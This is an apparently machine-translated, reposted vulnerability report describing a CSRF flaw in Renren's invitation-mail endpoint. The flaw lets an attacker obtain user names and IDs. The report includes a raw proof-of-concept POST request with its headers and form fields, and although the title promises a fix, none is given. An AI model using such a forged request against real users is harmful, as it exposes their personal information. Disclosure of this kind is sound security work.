Renren CSRF user information leakage and repair solution

Source: Internet
Author: User

 

Brief description: a csrf vulnerability in Renren may cause user information leakage.

For details, Renren has no CSRF defense measures for sending registration invitations to the mailbox. the user name is included in the received email, and the user ID can be obtained after registration.

Proof of vulnerability:

POST http://invite.renren.com/csendMail.do? Logid =

 

Request Headers:

 

Host [invite.renren.com]

 

User-Agent [Mozilla/5.0]

 

Accept [text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8]

 

Accept-Language [zh-cn, zh; q = 0.5]

 

Accept-Encoding [gzip, deflate]

 

Accept-Charset [UTF-8, *]

 

Connection [keep-alive]

 

Referer [http://invite.renren.com/cnotin.do? Logid =]

 

Cookie

 

Post Data:

 

Mail [yourmail@mail.com | pz]

 

Importer []

 

UAccount [anything@163.com]

 

Classcontent []

 

Action_type [5000]

 

AppId [0]

 

Url []

 

App_html []

 

Inv_id []

Look, there is no token. referer doesn't work either.

 

 

From p.z

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.